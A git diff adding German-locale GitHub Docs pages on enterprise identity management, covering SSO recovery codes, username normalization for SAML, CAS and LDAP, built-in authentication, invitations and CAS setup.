+- [Wechseln deiner SAML-Konfiguration von einer Organisation zu einem Enterprise-Konto](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)
+- [Migrieren von SAML zu OIDC](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc)
+- [Migrieren deines Unternehmens zu einem neuen Identitätsanbieter oder Mandanten](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-your-enterprise-to-a-new-identity-provider-or-tenant)
+
+## Zugreifen auf Ihr Unternehmen, wenn SSO nicht verfügbar ist
+
+Wenn ein Konfigurationsfehler oder ein Problem mit deinem Identitätsanbieter (IdP) das Verwenden von SSO verhindert, kannst du einen Wiederherstellungscode zum Zugreifen auf dein Unternehmen verwenden. Weitere Informationen finden Sie unter [Zugreifen auf dein Enterprise-Konto, wenn dein Identitätsanbieter nicht verfügbar ist](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable).
+{% endif %}
+
+## SAML-Authentifizierungsfehler
+
+Treten Fehler auf, wenn Benutzer*innen sich mit SAML authentifizieren möchten, lies den Artikel [Problembehandlung bei der SAML-Authentifizierung](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication).
+
+{% ifversion ghec %}
+## Weitere Informationsquellen
+
+- [Problembehandlung bei der Identitäts- und Zugriffsverwaltung deiner Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization) {% endif %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md
new file mode 100644
index 0000000000..6c71f4293a
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication.md
@@ -0,0 +1,167 @@
+---
+title: Username considerations for external authentication
+shortTitle: Username considerations
+intro: '{% ifversion ghes or ghec %}When you use {% ifversion ghes %}CAS, LDAP, or SAML for authentication{% elsif ghec %}{% data variables.product.prodname_emus %}{% endif %}, {% endif %}{% data variables.product.product_name %} follows certain rules to determine the username for each user account {% ifversion ghec or ghae %}in your enterprise{% elsif ghes %}on your instance{% endif %}.'
+miniTocMaxHeadingLevel: 3
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: reference
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+---
+
+{% ifversion ghec %}
+{% note %}
+
+**Note:** This article only applies to {% data variables.product.prodname_emus %}. If you use {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, usernames are created by users, not {% data variables.product.prodname_dotcom %}.
+
+{% endnote %}
+{% endif %}
+
+## About usernames with external authentication
+
+{% ifversion ghes %}
+
+You can configure external authentication for {% data variables.product.product_name %} using CAS, LDAP, or SAML. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server)."
+
+When you use external authentication, {% data variables.location.product_location %} automatically creates a username for each person when the person signs into {% data variables.location.product_location %} through your external authentication system for the first time.
+
+{% elsif ghec %}
+
+If you use an enterprise with {% data variables.product.prodname_emus %}, members of your enterprise authenticate to access {% data variables.product.prodname_dotcom %} through your SAML identity provider (IdP). For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)" and "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-methods-for-github-enterprise-server)."
+
+{% data variables.product.prodname_dotcom %} automatically creates a username for each person when their user account is provisioned via SCIM, by normalizing an identifier provided by your IdP, then adding an underscore and short code. If multiple identifiers are normalized into the same username, a username conflict occurs, and only the first user account is created. You can resolve username problems by making a change in your IdP so that the normalized usernames will be unique and within the 39-character limit.
+
+{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %}
+
+{% elsif ghae %}
+
+{% data variables.product.product_name %} uses SAML SSO for authentication, and automatically creates a username for each person when the person signs in through your identity provider (IdP) for the first time.
+
+{% endif %}
+
+{% ifversion ghec %}
+## About usernames for {% data variables.enterprise.prodname_managed_users %}
+
+When your {% data variables.enterprise.prodname_emu_enterprise %} is created, you will choose a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} The setup user who configures SAML SSO has a username in the format of **@<em>SHORT-CODE</em>_admin**. 
+
+When you provision a new user from your identity provider, the new {% data variables.enterprise.prodname_managed_user %} will have a {% data variables.product.prodname_dotcom %} username in the format of **@<em>IDP-USERNAME</em>_<em>SHORT-CODE</em>**. The <em>IDP-USERNAME</em> component is formed by normalizing the SCIM `userName` attribute value sent from the IdP. 
+
+| Identity provider                 | {% data variables.product.prodname_dotcom %} username  |
+|-----------------------------------|----------------------|
+| Azure Active Directory (Azure AD) | _IDP-USERNAME_ is formed by normalizing the characters preceding the `@` character in the UPN (User Principal Name), which does not include the `#EXT#` for guest accounts. |
+| Okta                              | _IDP-USERNAME_ is the normalized username attribute provided by the IdP.               |
+
+These rules may result in your IdP providing the same _IDP-USERNAME_ for multiple users. For example, for Azure AD, the following UPNs will result in the same username:
+
+- `bob@contoso.com`
+- `bob@fabrikam.com`
+- `bob#EXT#fabrikamcom@contoso.com`
+
+This will cause a username conflict, and only the first user will be provisioned. For more information, see "[Resolving username problems](#resolving-username-problems)."
+{% endif %}
+
+Usernames{% ifversion ghec %}, including underscore and short code,{% endif %} must not exceed 39 characters.
+
+## About username normalization
+
+Usernames for user accounts on {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_dotcom_the_website %}{% endif %} can only contain alphanumeric characters and dashes (`-`).
+
+{% ifversion ghec %}
+When you configure SAML authentication, {% data variables.product.product_name %} uses the SCIM `userName` attribute value sent from the IdP to determine the username for the corresponding user account on {% data variables.product.prodname_dotcom_the_website %}. If this value includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules.
+{% elsif ghes %}
+When you configure CAS, LDAP, or SAML authentication, {% data variables.product.product_name %} uses an identifier from the user account on your external authentication provider to determine the username for the corresponding user account on {% data variables.product.product_name %}. If the identifier includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules.
+{% elsif ghae %}
+When you configure SAML authentication, {% data variables.product.product_name %} uses an identifier from the user account on your IdP to determine the username for the corresponding user account on {% data variables.product.product_name %}. If the identifier includes unsupported characters, {% data variables.product.product_name %} will normalize the username per the following rules.
+{% endif %}
+
+1. {% data variables.product.product_name %} will normalize any non-alphanumeric character in your account's username into a dash. For example, a username of `mona.the.octocat` will be normalized to `mona-the-octocat`. Note that normalized usernames also can't start or end with a dash. They also can't contain two consecutive dashes.
+
+1. Usernames created from email addresses are created from the normalized characters that precede the `@` character.
+
+1. Usernames created from domain accounts are created from the normalized characters after the `\\` separator. 
+
+1. If multiple accounts are normalized into the same {% data variables.product.product_name %} username, only the first user account is created. Subsequent users with the same username won't be able to sign in. {% ifversion ghec %}For more information, see "[Resolving username problems](#resolving-username-problems)."{% endif %}
+
+### Examples of username normalization
+
+| Identifier on provider | Normalized username on {% data variables.product.prodname_dotcom %} | Result |
+| :- | :- | :- |
+| The.Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is created successfully. |
+| !The.Octocat | `-the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it starts with a dash. |
+| The.Octocat! | `the-octocat-{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it ends with a dash. |
+| The!!Octocat | `the--octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it contains two consecutive dashes. |
+| The!Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. |
+| `The.Octocat@example.com` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. |
+| `internal\\The.Octocat` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. |
+| `mona.lisa.the.octocat.from.github.united.states@example.com` | `mona-lisa-the-octocat-from-github-united-states{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it exceeds the 39-character limit. |
+
+{% ifversion not ghec %}
+### About username normalization with SAML
+
+{% ifversion ghes %}If you configure SAML authentication for {% data variables.location.product_location %}, {% endif %}{% data variables.product.product_name %} determines each person's username by one of the following assertions in the SAML response, ordered by descending priority.
+
+1. The custom `username` attribute, if defined and present
+1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present
+1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present
+1. The `NameID` element
+
+{% data variables.product.product_name %} requires the `NameID` element even if other attributes are present. For more information, see "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-attributes)."
+
+{% data variables.product.product_name %} creates a mapping between the `NameID` from the IdP and the username {% ifversion ghae %}in{% else %}on{% endif %} {% data variables.location.product_location %}, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user.
+
+{% ifversion ghes %}
+{% note %}
+
+**Note**: If the `NameID` for a user does change on the IdP, the person will see an error message when signing into {% data variables.location.product_location %}. To restore the person's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid)."
+
+{% endnote %}
+{% endif %}
+{% endif %}
+
+{% ifversion ghec %}
+## Resolving username problems
+
+When a new user is being provisioned, if the username is longer than 39 characters (including underscore and short code), or conflicts with an existing user in the enterprise, the provisioning attempt will fail with a `409` error. 
+
+To resolve this problem, you must make one of the following changes in your IdP so that all normalized usernames will be within the character limit and unique.
+- Change the `userName` attribute value for individual users that are causing problems
+- Change the `userName` attribute mapping for all users
+- Configure a custom `userName` attribute for all users
+
+When you change the attribute mapping, usernames of existing {% data variables.enterprise.prodname_managed_users %} will be updated, but nothing else about the accounts will change, including activity history.
+
+{% note %}
+
+**Note:** {% data variables.contact.github_support %} cannot provide assistance with customizing attribute mappings or configuring custom expressions. You can contact your IdP with any questions.
+
+{% endnote %}
+
+### Resolving username problems with Azure AD
+
+To resolve username problems in Azure AD, either modify the User Principal Name value for the conflicting user or modify the attribute mapping for the `userName` attribute. If you modify the attribute mapping, you can choose an existing attribute or use an expression to ensure that all provisioned users have a unique normalized alias.
+
+1. In Azure AD, open the {% data variables.product.prodname_emu_idp_application %} application.
+1. In the left sidebar, click **Provisioning**.
+1. Click **Edit Provisioning**.
+1. Expand **Mappings**, then click **Provision Azure Active Directory Users**.
+1. Click the {% data variables.product.prodname_dotcom %} `userName` attribute mapping. 
+1. Change the attribute mapping.
+   - To map an existing attribute in Azure AD to the `userName` attribute in {% data variables.product.prodname_dotcom %}, click your desired attribute field. Then, save and wait for a provisioning cycle to occur within about 40 minutes.
+   - To use an expression instead of an existing attribute, change the Mapping type to "Expression", then add a custom expression that will make this value unique for all users. For example, you could use `[FIRST NAME]-[LAST NAME]-[EMPLOYEE ID]`. For more information, see [Reference for writing expressions for attribute mappings in Azure Active Directory](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/functions-for-customizing-application-data) in Microsoft Docs.
+
+### Resolving username problems with Okta
+
+To resolve username problems in Okta, update the attribute mapping settings for the {% data variables.product.prodname_emu_idp_application %} application.
+
+1. In Okta, open the {% data variables.product.prodname_emu_idp_application %} application.
+1. Click **Sign On**.
+1. In the "Settings" section, click **Edit**.
+1. Update the "Application username format."
+{% endif %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md b/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md
new file mode 100644
index 0000000000..9cbc326e26
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md
@@ -0,0 +1,33 @@
+---
+title: 'Zugriff auf dein Unternehmenskonto, wenn dein Identitätsanbieter nicht verfügbar ist'
+shortTitle: Access your enterprise account
+intro: 'Du kannst dich bei {% data variables.product.product_name %} anmelden, auch wenn dein Identitätsanbieter nicht verfügbar ist, indem du Single Sign-On (SSO) mithilfe eines Wiederherstellungscodes umgehst.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+permissions: Enterprise owners can use a recovery code to access an enterprise account.
+ms.openlocfilehash: d13a4cd336e67ab62087530b00cad8fd6939d64b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147578804'
+---
+Du kannst einen Wiederherstellungscode verwenden, um auf dein Unternehmenskonto zuzugreifen, wenn ein Authentifizierungskonfigurationsfehler oder ein Problem mit deinem Identitätsanbieter (IdP) verhindert, dass du SSO verwendest. 
+
+Um so auf dein Unternehmenskonto zuzugreifen, musst du zuvor die Wiederherstellungscodes für dein Unternehmen heruntergeladen und gespeichert haben. Weitere Informationen findest du unter [Herunterladen der SSO-Wiederherstellungscodes für dein Unternehmenskonto](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes).
+
+{% data reusables.saml.recovery-code-caveats %}
+
+{% note %}
+
+**Hinweis:** Wenn deine Unternehmen {% data variables.product.prodname_emus %} verwenden, musst du dich als Setupbenutzer anmelden, um einen Wiederherstellungscode zu verwenden.
+
+{% endnote %}
+
+{% data reusables.saml.recovery-code-access %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md b/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md
new file mode 100644
index 0000000000..48536e3ec9
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md
@@ -0,0 +1,37 @@
+---
+title: Downloading your enterprise account's single sign-on recovery codes
+shortTitle: Download recovery codes
+intro: 'To ensure that you can access {% data variables.product.product_name %} if your identity provider (IdP) is unavailable, you should download your enterprise account''s single sign-on (SSO) recovery codes.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+redirect_from:
+  - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes
+permissions: Enterprise owners can download the SSO recovery codes for the enterprise account.
+---
+
+In the event that your IdP is unavailable, you can use a recovery code to sign in and access your enterprise on {% data variables.location.product_location %}. For more information, see "[Accessing your enterprise account if your identity provider is unavailable](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable)."
+
+If you did not save your recovery codes when you configured SSO, you can still access the codes from your enterprise's settings.
+
+
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+
+1. Under{% ifversion oidc-for-emu %} either{% endif %} "Require SAML authentication"{% ifversion oidc-for-emu %} or "Require OIDC authentication"{% endif %}, click **Save your recovery codes**.{% ifversion oidc-for-emu %}
+  {% note %}
+  
+  **Note:** OIDC SSO is only available for {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)."
+  
+  {% endnote %}{% endif %}
+  
+  ![Screenshot of the button to test SAML configuration before enforcing](/assets/images/help/enterprises/saml-recovery-codes-link.png)
+1. To save your recovery codes, click **Download**, **Print**, or **Copy**.
+  ![Screenshot of the buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png)
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md b/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md
new file mode 100644
index 0000000000..1108d8a681
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md
@@ -0,0 +1,22 @@
+---
+title: Verwalten von Wiederherstellungscodes für dein Unternehmen
+shortTitle: Manage recovery codes
+intro: 'Mit SAML-SSO-Wiederherstellungscodes kannst du auch dann auf dein Unternehmenskonto zugreifen, wenn dein Identitätsanbieter nicht verfügbar ist.'
+versions:
+  ghec: '*'
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+children:
+  - /downloading-your-enterprise-accounts-single-sign-on-recovery-codes
+  - /accessing-your-enterprise-account-if-your-identity-provider-is-unavailable
+ms.openlocfilehash: 6f378bf952e32acdbd4217d9d8a414dde1354e12
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145955450'
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md
new file mode 100644
index 0000000000..50f7970f7e
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md
@@ -0,0 +1,57 @@
+---
+title: Configuring built-in authentication
+intro: 'When you use the default authentication method, all authentication details are stored on {% data variables.location.product_location %}.'
+permissions: 'Site administrators can configure authentication for a {% data variables.product.product_name %} instance.'
+redirect_from:
+  - /enterprise/admin/user-management/using-built-in-authentication
+  - /enterprise/admin/authentication/using-built-in-authentication
+  - /admin/authentication/using-built-in-authentication
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+shortTitle: Configure built-in authentication
+---
+
+## About built-in authentication
+
+By default, {% data variables.product.product_name %} uses built-in authentication. Each person creates a user account on {% data variables.location.product_location %} from an invitation or by signing up, and then authenticates with the credentials for the account to access your instance. Your {% data variables.product.product_name %} instance stores the authentication information for the account.
+
+You can prevent unauthenticated people from creating new user accounts on your instance. For more information, see "[Disabling unauthenticated sign-ups](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)."
+
+{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %}
+
+## Configuring built-in authentication
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.authentication %}
+4. Select **Built in authentication**.
+![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-select.png)
+
+{% data reusables.enterprise_user_management.two_factor_auth_header %}
+{% data reusables.enterprise_user_management.2fa_is_available %}
+
+## Creating your account
+
+Once your instance has been created, you'll need to create your own admin account.
+
+1. On the "Create Admin Account" page at `http(s)://[hostname]/join`, choose your username, password, and email address, then click **Create an account**.
+![Create Admin Account](/assets/images/enterprise/site-admin-settings/create-first-admin-acct.png)
+{% data reusables.enterprise_site_admin_settings.sign-in %}
+
+## Next steps
+
+<a name="inviting-users"></a>
+
+After you configure built-in authentication and create your administrative account, you can invite people to create accounts and use your instance. For more information, see "[Inviting people to use your instance](/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance)."
+
+## Further reading
+
+- "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)"
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md
new file mode 100644
index 0000000000..040dd977c6
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md
@@ -0,0 +1,36 @@
+---
+title: Disabling unauthenticated sign-ups
+redirect_from:
+  - /enterprise/admin/articles/disabling-sign-ups
+  - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups
+  - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups
+  - /admin/authentication/disabling-unauthenticated-sign-ups
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups
+intro: 'If you''re using built-in authentication for {% data variables.location.product_location %}, you can block unauthenticated people from creating new user accounts on your instance.'
+permissions: 'Site administrators can disable unauthenticated sign-ups on a {% data variables.product.product_name %} instance.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+shortTitle: Block unauthenticated sign-up
+---
+
+## About unauthenticated sign-ups
+
+{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance.
+
+{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %}
+
+## Disabling unauthenticated sign-ups
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+3. Unselect **Enable sign-up**.
+![Enable sign-up checkbox](/assets/images/enterprise/management-console/enable-sign-up.png)
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/index.md b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/index.md
new file mode 100644
index 0000000000..e1a0a3ff5d
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/index.md
@@ -0,0 +1,22 @@
+---
+title: Integrierte Authentifizierung verwenden
+shortTitle: Built-in authentication
+intro: 'Wenn du kein zentralisiertes, externes System für die Identität deiner Benutzer verwendest, kannst du {% data variables.product.prodname_ghe_server %} mit integrierter Authentifizierung ermöglichen, Konten zu verwalten und lokale Authentifizierung auszuführen.'
+versions:
+  ghes: '*'
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+children:
+  - /configuring-built-in-authentication
+  - /inviting-people-to-use-your-instance
+  - /disabling-unauthenticated-sign-ups
+ms.openlocfilehash: 0bf5c4657d92a6795edfd4bb1e2528eb0ebb8682
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067283'
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md
new file mode 100644
index 0000000000..826da0bc57
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md
@@ -0,0 +1,30 @@
+---
+title: Inviting people to use your instance
+intro: 'When you use built-in authentication for {% data variables.product.product_name %}, you can invite people by email address to create a user account on your instance.'
+versions:
+  ghes: '*'
+permissions: 'Enterprise owners can invite people to create a user account on a {% data variables.product.product_name %} instance.'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+shortTitle: Invite people
+---
+
+## About invitations for new users
+
+{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %}
+
+You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. For more information, see "[Disabling unauthenticated sign-ups](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)."
+
+{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} 
+
+## Inviting people to create a user account
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %}
+{% data reusables.enterprise_site_admin_settings.invite-user-reset-link %}
+
+If you've configured email for notifications on {% data variables.location.product_location %}, your instance will send the invitation to the provided email address. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md b/translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md
new file mode 100644
index 0000000000..eb31c71027
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md
@@ -0,0 +1,10 @@
+---
+title: Using CAS for enterprise IAM
+shortTitle: CAS for enterprise IAM
+intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing CAS identity provider (IdP).'
+versions:
+  ghes: '*'
+children:
+  - /using-cas
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md b/translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md
new file mode 100644
index 0000000000..80a7879125
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md
@@ -0,0 +1,56 @@
+---
+title: Using CAS
+redirect_from:
+  - /enterprise/admin/articles/configuring-cas-authentication
+  - /enterprise/admin/articles/about-cas-authentication
+  - /enterprise/admin/user-management/using-cas
+  - /enterprise/admin/authentication/using-cas
+  - /admin/authentication/using-cas
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-cas
+intro: 'If you use Central Authentication Service (CAS) to centralize access to multiple web applications, you can integrate {% data variables.product.product_name %} by configuring CAS authentication for your instance.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+---
+
+## About CAS authentication for {% data variables.product.product_name %}
+
+CAS is a single sign-on (SSO) protocol that centralizes authentication to multiple web applications. For more information, see "[Central Authentication Service](https://en.wikipedia.org/wiki/Central_Authentication_Service)" on Wikipedia.
+
+After you configure CAS, people who use {% data variables.location.product_location %} must use a {% data variables.product.pat_generic %} to authenticate API or Git requests over HTTP(S). CAS credentials cannot be used to authenticate these requests. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+If you configure CAS, people with accounts on your identity provider (IdP) do not consume a user license until the person signs into {% data variables.location.product_location %}.
+
+{% data reusables.enterprise_user_management.built-in-authentication %}
+
+## Username considerations with CAS
+
+{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."
+
+## CAS attributes
+
+The following attributes are available.
+
+| Attribute name           | Type     | Description |
+|--------------------------|----------|-------------|
+| `username`               | Required | The {% data variables.product.prodname_ghe_server %} username. |
+
+## Configuring CAS
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.authentication %}
+3. Select **CAS**.
+
+   ![Screenshot of selection of CAS for authentication](/assets/images/enterprise/management-console/cas-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %}
+
+   ![Screenshot of of fallback built-in authentication option for CAS](/assets/images/enterprise/management-console/cas-built-in-authentication.png)
+5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-install)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md
new file mode 100644
index 0000000000..5eb6ea793e
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md
@@ -0,0 +1,164 @@
+---
+title: 'Informationen zu {% data variables.product.prodname_emus %}'
+shortTitle: About managed users
+intro: 'Du kannst Identität und Zugriff für deine Unternehmensmitglieder auf {% data variables.product.prodname_dotcom %} über deinen Identitätsanbieter zentral verwalten.'
+redirect_from:
+  - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users
+  - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users
